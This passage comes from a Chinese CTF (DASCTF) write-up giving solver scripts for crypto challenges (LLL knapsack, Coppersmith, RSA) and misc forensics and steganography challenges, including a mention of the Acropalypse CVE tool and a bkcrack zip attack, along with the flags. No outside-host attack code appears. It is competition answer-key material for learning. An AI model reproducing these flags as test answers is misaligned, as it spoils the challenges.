3897810453345341505629419462101, 2648446157152195057994615872229, 3422845870014670444537026359650, 1223552407160181874717436564876, 3670657221480545624152309694628, 1966986461557807413563286569810, 1378466783231507511243038452393, 4135400349694522533729115357179, 3361215846199738142293703557463, 1038662335715384967987468158315, 3115987007146154903962404474945, 302975818554635252993570910761, 908927455663905758980712732283, 2726782366991717276942138196849, 3657854499533237101379593333510, 1928578295715881845245137486456, 1263242285705730806288591202331, 3789726857117192418865773606993, 2324195368467747797703678306905, 2450093503961328663664213663678, 2827787910442071261545819733997, 3960871129884299055190637944954, 2837628186769067706678271320788]
encoded=31087054322877663244023458448558
nbit=len(pubKey)
# create a large matrix of 0's (dimensions are public key length +1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
# fill in the identity matrix
for i in range(nbit):
A[i, i] = 1
# replace the bottom row with your public key
for i in range(nbit):
A[i, nbit] = pubKey[i]
# last element is the encoded message
A[nbit, nbit] = -int(encoded)

res = A.LLL()
for i in range(0, nbit + 1):
# print solution
M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag:
print(i, M)
M = ''.join(str(j) for j in M)
# remove the last bit
M = M[:-1]
M = hex(int(M, 2))[2:-1]
print(M)

求出e之后,再copper求出p

1
2
3
4
5
6
7
8
p = 139540788452365306201344680691061363403552933527922544113532931871057569249632300961012384092481349965600565669315386312075890938848151802133991344036696488204791984307057923179655351110456639347861739783538289295071556484465877192913103980697449775104351723521120185802327587352171892429135110880845830815744
n = 22687275367292715121023165106670108853938361902298846206862771935407158965874027802803638281495587478289987884478175402963651345721058971675312390474130344896656045501040131613951749912121302307319667377206302623735461295814304029815569792081676250351680394603150988291840152045153821466137945680377288968814340125983972875343193067740301088120701811835603840224481300390881804176310419837493233326574694092344562954466888826931087463507145512465506577802975542167456635224555763956520133324723112741833090389521889638959417580386320644108693480886579608925996338215190459826993010122431767343984393826487197759618771
p0=p>>435
R.<x>=Zmod(n)[]
f=p0*2**435+x
print(f.small_roots(X=2^435,beta=0.4))
p=22279478575805637289061098350801418725939755105414714905065078232409620860952900304322034404385073099026861643396875749287858710167+p0*2**435
print(p)

最后求个RSA

1
2
3
4
5
6
7
8
9
10
e=15960663600754919507
print(isPrime(e))
n = 22687275367292715121023165106670108853938361902298846206862771935407158965874027802803638281495587478289987884478175402963651345721058971675312390474130344896656045501040131613951749912121302307319667377206302623735461295814304029815569792081676250351680394603150988291840152045153821466137945680377288968814340125983972875343193067740301088120701811835603840224481300390881804176310419837493233326574694092344562954466888826931087463507145512465506577802975542167456635224555763956520133324723112741833090389521889638959417580386320644108693480886579608925996338215190459826993010122431767343984393826487197759618771
c = 156879727064293983713540449709354153986555741467040286464656817265584766312996642691830194777204718013294370729900795379967954637233360644687807499775502507899321601376211142933572536311131955278039722631021587570212889988642265055045777870448827343999745781892044969377246509539272350727171791700388478710290244365826497917791913803035343900620641430005143841479362493138179077146820182826098057144121231954895739989984846588790277051812053349488382941698352320246217038444944941841831556417341663611407424355426767987304941762716818718024107781873815837487744195004393262412593608463400216124753724777502286239464
p=139540788452365306201344680691061363403552933527922544113532931871057569249632300961012384092481349965600565669315386312075890938848151802133991344036696488204791984307057923179677630589032444985150800881889090713797496239571291907818169058929859395965304623825442220206712660451198754072531986630133689525911
q=n//p
phi=(p-1)*(q-1)
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

XOR贯穿始终

社会主义核心价值观解密,然后再根据私钥文件得到p解RSA,因为解出的flag后面不对为了要让组后是个b”}”异或的末尾要是3看到社会主义核心价值观解密的结果最后一个是3异或一下就行。

1
2
3
4
5
6
7
8
9
10
11
12
from base64 import *
from Crypto.Util.number import *
c='MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALmtMy+2uH1ZtbILSuiAukFthyQRH5mp7UmLyzZQkdg9zEP9/5tgffikQ7ytx5kHySHnazgAO1sOzmYEN4Axlev6uafiP8B1Eij97v5VkYJ1I9e3mtBNheTbXKoT8op+ASQ1fQaF4A8UzLuWeZeZI8JTH/SH+bolAK3kiZXDFdkTAgMBAAECgYEAl067LaC7Cvs2A5cMPhfYsESvIgcKN1CwW4Sd3u8dSphhgu7TgyzIuvwxbuo2g1BC6WwKhaI6vGN+csfw6nh98GEn/p3D0huNroAYvf/DRRB9UnHdttX7wB+Mv3P0RBDWHgBiCDVvHFuFUV78cIs0tnbnjxjU07aPV2XRC3AfA2ECQQDqWUNPVg3i6vTyHCL7EGkbeUheYpAAfcKCQrxjc5+5X6A+XtgHAA1JHwykPlCpHUOmlA85DJF1ejuoImzlgRLJAkEAytTCnQF+MN2r1gaAUETZyj5qMYT7Th8zKEVVVJjDawLnuX4usJ2FyRnjCkk86U75QSJhw5mMc0QnG25uGz3++w=='
print(b64decode(c).hex())
d=0x00974ebb2da0bb0afb3603970c3e17d8b044af22070a3750b05b849ddeef1d4a986182eed3832cc8bafc316eea36835042e96c0a85a23abc637e72c7f0ea787df06127fe9dc3d21b8dae8018bdffc345107d5271ddb6d5fbc01f8cbf73f44410d61e006208356f1c5b85515efc708b34b676e78f18d4d3b68f5765d10b701f0361
enc= 91817924748361493215143897386603397612753451291462468066632608541316135642691873237492166541761504834463859351830616117238028454453831120079998631107520871612398404926417683282285787231775479511469825932022611941912754602165499500350038397852503264709127650106856760043956604644700201911063515109074933378818
n=0x00b9ad332fb6b87d59b5b20b4ae880ba416d8724111f99a9ed498bcb365091d83dcc43fdff9b607df8a443bcadc79907c921e76b38003b5b0ece660437803195ebfab9a7e23fc0751228fdeefe5591827523d7b79ad04d85e4db5caa13f28a7e0124357d0685e00f14ccbb9679979923c2531ff487f9ba2500ade48995c315d913
p=0x00ea59434f560de2eaf4f21c22fb10691b79485e6290007dc28242bc63739fb95fa03e5ed807000d491f0ca43e50a91d43a6940f390c91757a3ba8226ce58112c9
print(n%p)
q=n//p
m=pow(enc,d,n)
print(long_to_bytes(bytes_to_long(b'C0ngr4tulati0n5_y0u_fou^d_m3')^m))

Misc

交响乐

从流量分析中导出一个flag1.png和flag2.zip,流量中发现目标主机还访问了www.114514.com

并下载了114514.zip中这几张图片

flag2.zip是伪加密,解压后得到一个txt,其中存在零宽字符

尝试用脚本读取像素点,但是他好像不是纯黑或者纯白的像素点

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import long_to_bytes
from PIL import Image
image = Image.open('flag1.png')
w,h = image.size
# print(w,h)
res =''
for i in range(h):
for j in range(w):
if image.getpixel((i,j)) <=(10,10,10):
res+='0'
else:
res+='1'
print(long_to_bytes(int(res,2)))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image
import numpy as np
import base64
im = Image.open('flag1.png')
# 将图片转为numpy数组
im = np.asarray(im)

# 获取图片尺寸
x, y, z = im.shape
# print(im.shape) #(400, 400, 3)

r = []
for i in range(x):
for j in range(y):
pixel = im[i, j]
r.append(pixel[0])

for i,item in enumerate(r):
print(item,end=' ')
if (i+1) % 400 == 0 :
print("\n----------------------------------------------------------------")

HINT:BV1wW4y1R7Jv && FLAG:@i_n1a_l0v3S_CAOCAOGAIFAN

EZ_misc

下载后得到一张改过宽高的图片,改回来说flag不在这里

然后010打开,发现末尾有一个压缩包还有一张没有文件头但是有文件尾的png图片,并给了提示:5位数字

打开压缩包得到一串Gronsfeld密文

用github上的工具爆破密文,得到提示:叫我们尝试截图工具

try to think the snippingtools

工具链接:https://github.com/karma9874/CryptAnalysis

CVE-2023-28303:https://github.com/frankthetank-music/Acropalypse-Multi-Tool

DASCTF{CvE_1s_V3Ry_intEr3sting!!}

Matryoshka

下载下来得到一个img文件,用磁盘精灵挂载

可以提取出一张jpg图片、一个加密后的encrypt文件

然后还有一个rar压缩包,foremost提取压缩包得到另一张jpg图片

然后对两张图片使用盲水印解密

得到密钥:watermark_is_fun

然后用veracrypt挂载刚刚那个encrypt文件,里面有个flag.txt

用vscode打开发现存在零宽字符,在线网站解密。然后base64+维吉尼亚解密即可

程序猿Quby

下载附件后得到一张png图片,发现末尾隐藏了rar压缩包,提取出来后发现需要密码

搜索死亡之链,找到如下的夏多密码

https://www.bilibili.com/video/BV1HR4y1G7Wc/?spm%5Fid%5Ffrom=888.80997.embed%5Fother.whitelist&t=3&vd%5Fsource=1625d62f1aeddacfc6930aa02a84de56

参考上面这个视频即可解得密钥:HAVEANICEDAY

然后用cloacked-pixel解密可以得到另一个密码

we1c0met0ycbCTF!!!

然后用这个密码去解压压缩包,得到两个xlsx和一个wav文件

发现xlsx中存在隐藏数据,取消wbw隐藏,然后把3.33替换为0,6.66替换为1,4.46为0,5.53为1

然后对单元格进行突出显示

把两个xlsx中的数据合并到一起,得到密钥:w0wyoudo4goodj0b

然后用这个密钥去Deepsound解密,可以得到一个Family_bucket.zip压缩包,猜测是base全家桶

解压压缩包得到flag.txt和fl4g.txt,里面各有一段密文

:JOJ[=%tJD9gr2Q79*;T:-qZD=]S0c:0’nT7orYd9L_TD=Ys#Z9iY:q;-Xo:dQs>9ia&M9i3\]K5r2G>8Oc'9=%u:f8QIW;;bp(\\8Ms%=10QJ:KBnd<AmK;7p.T97oN8J

上述密文base85+base32解码后得到以下内容

sQ+3ja02RchXLUFmNSZoYPlr8e/HVqxwfWtd7pnTADK15Evi9kGOMgbuIzyB64CJ

SjaoNgS0xgagUTpwe3QwHn4MrbkD/OUwqOQG/bpveg6Mqa4WH0k46

然后换表base64解密即可得到flag

DASCTF{Qu6y_d0_not_lik3_w0rking_4t_all}

Easy_VMDK

下载得到一个压缩包,store加密方式,直接用bkcrack进行明文攻击

挂载flag.vmdk,提取出flag.zip和key.txt

image.png

从flag.zip中foremost分离出了一个png2txt.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import cv2
import base64
import binascii


img = cv2.imread("key.png")
r, c = img.shape[:2]
print(r, c)
# 137 2494

with open("key.txt", "w") as f:
for y in range(r):
for x in range(c):
uu_byte = binascii.a2b_uu(', '.join(map(lambda x: str(x), img[y, x])) + "\n")
f.write(base64.b64encode(uu_byte).decode() + "\n")

chatGPT直接写一个恢复脚本得到压缩包解压密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import cv2
import base64
import binascii

# Read the contents of the key.txt file
with open("key.txt", "r") as f:
lines = f.readlines()

# Prepare an empty list to store the decoded pixel values
decoded_pixels = []

for line in lines:
# Strip the newline and decode the base64 encoded string
decoded_base64 = base64.b64decode(line.strip())

# Convert the decoded bytes back using b2a_uu
uu_decoded = binascii.b2a_uu(decoded_base64)

# Split the decoded string to get the individual RGB values
pixel_values = [int(val) for val in uu_decoded.split(b', ')]

# Append the pixel values to the list
decoded_pixels.append(pixel_values)

# Convert the list of pixel values to a NumPy array
import numpy as np
decoded_pixels = np.array(decoded_pixels, dtype=np.uint8)

# Reshape the array to the original image shape
reshaped_image = decoded_pixels.reshape((137, 2494, 3))

# Save the recreated image
cv2.imwrite("recreated_image.png", reshaped_image)

image.png

解压压缩包即可得到flag

DASCTF{2431a606-00a3-4698-8b0f-eb806a7bb1be}

GIFuck

先用在线网站分离GIF,然后写脚本识别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import os
current_directory = os.getcwd()
all_files = [f for f in os.listdir(current_directory) if f.endswith('.png')]
sorted_files = sorted(all_files, key=lambda x: int(x.split('.')[0]))
res = ''
for file in sorted_files:
file_path = os.path.join(current_directory, file)
size = os.path.getsize(file_path)
if size == 310:
res += '<'
elif size == 304:
res += '>'
elif size == 247:
res += '+'
elif size == 242:
res += '.'
elif size == 241:
res += ']'
elif size == 229:
res += '['
elif size == 227:
res += '-'
# print(f"{file}: {size} bytes")
print(res)
1
+[->+<]>[->+<]>-[->+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+<]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]<+[->+<]>[->-<]>[-<+>]<+<+[->+<]>[->+<]>[->-<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]<+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>][->+<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+[->+<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>][->+<]>[-<+>]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>][->+<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+<+[->+<]>[->+<]>[->+<]>[-<+>]<+[->+<]>+.<+[->+<]>+.+.+.<+[->-<]>-.<+[->+<]>+.<+[->+<]>+.-.<+[->-<]>-.<+[->+<]>+.<+[->-<]>-.+.-.<+[->-<]>-.<+[->+<]>+.+.<+[->-<]>-.+.<+[->-<]>-.<+[->+<]>+.<+[->+<]>+.<+[->-<]>-.<+[->+<]>+.+.+.<+[->-<]>-.<+[->+<]>+.-.<+[->+<]>+.<+[->-<]>-.<+[->-<]>-.[-]<

发现导出来的BF没有办法正常执行,后来发现GIF每一帧的时间长度不同,存在时间轴隐写

于是再次更改脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from PIL import Image, ImageSequence
import os
dic = {}
# 打开GIF文件
with Image.open("flag.gif") as img:
frames = [frame.copy() for frame in ImageSequence.Iterator(img)]
for i, frame in enumerate(frames):
# 获取帧的时长(通常在'duration'键中)
duration = frame.info.get('duration', 0) # 按需提供默认值
dic[i+1] = duration // 60
# print(f"Frame {i+1}: Duration = {duration}ms")
# print(dic)

current_directory = os.getcwd()
all_files = [f for f in os.listdir(current_directory) if f.endswith('.png')]
sorted_files = sorted(all_files, key=lambda x: int(x.split('.')[0]))
res = ''
for file in sorted_files:
index = int(file.split('.')[0])
time = dic[index]
# print(index,time)
file_path = os.path.join(current_directory, file)
size = os.path.getsize(file_path)
if size == 310:
res += time*'<'
elif size == 304:
res += time*'>'
elif size == 247:
res += time*'+'
elif size == 242:
res += time*'.'
elif size == 241:
res += time*']'
elif size == 229:
res += time*'['
elif size == 227:
res += time*'-'
# print(f"{file}: {size} bytes")
print(res)
1
++++[->++++<]>[->++++++<]>-[->+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]+++<++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]<+++[->++++<]>[->-<]>[-<<<+>>>]<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]+++<++[->++++<]>[->-<]>[-<<<+>>>]+<++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]<+++<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<++[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]++[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]<<+++++++++[->+++++++++<]>++.<+++++[->+++++<]>+++.+++..+++++++.<+++++++++[->---------<]>--------.<++++++++[->++++++++<]>++.<++++[->++++<]>+++.-.<+++++++++[->---------<]>---.<+++++++++[->+++++++++<]>++++++++.<+++[->---<]>-.++++++.---.<+++++++++[->---------<]>-.<++++++++[->++++++++<]>++++++.++++++.<+++[->---<]>--.++++++.<++++++++[->--------<]>-------.<++++++++[->++++++++<]>+++++++++.<+++[->+++<]>+.<+++++++++[->---------<]>--.<++++++++[->++++++++<]>++++++++++++++.+.+++++.<+++++++++[->---------<]>---.<++++++++[->++++++++<]>++++++++.---.<+++[->+++<]>++++.<+++[->---<]>----.<+++++++[->-------<]>------.[-]<
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#define  _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
char s[30000]={0};
char code[2000];
int len = 0;
int stack[10000];
int stack_len=0;

int main()
{
char c;
int i=0,j,k,x=0;
FILE* f;
char* p=s+10000;

f=fopen("./bf.txt","r");

while(fread(&code[len],1,1,f)==1)
{
len++;
}
setbuf(stdout,NULL);
while(i<len) {
switch(code[i]) {
case '+':
(*p)++;
break;
case '-':
(*p)--;
break;
case '>':
p++;
break;
case '<':
p--;
break;
case '.':
putchar((int)(*p));
break;
case ',':
*p=getchar();
break;
case '[':
if(*p) {
stack[stack_len++]=i;
} else {
for(k=i,j=0;k<len;k++) {
code[k]=='['&&j++;
code[k]==']'&&j--;
if(j==0)break;
}
if(j==0)
i=k;
else {
fprintf(stderr,"%s:%dn",__FILE__,__LINE__);
return 3;
}
}
break;
case ']':
i=stack[stack_len-- - 1]-1;
break;
default:
break;
}
i++;
x++;
}

for(int i = 0; i < stack_len; i++) {
printf("%c", stack[i]);
}
printf("\n");

for(int i = 0; i < 30000; i++) {
printf("%c", s[i]);
}
return 0;
}

DASCTF{Pen_Pineapple_Apple_Pen}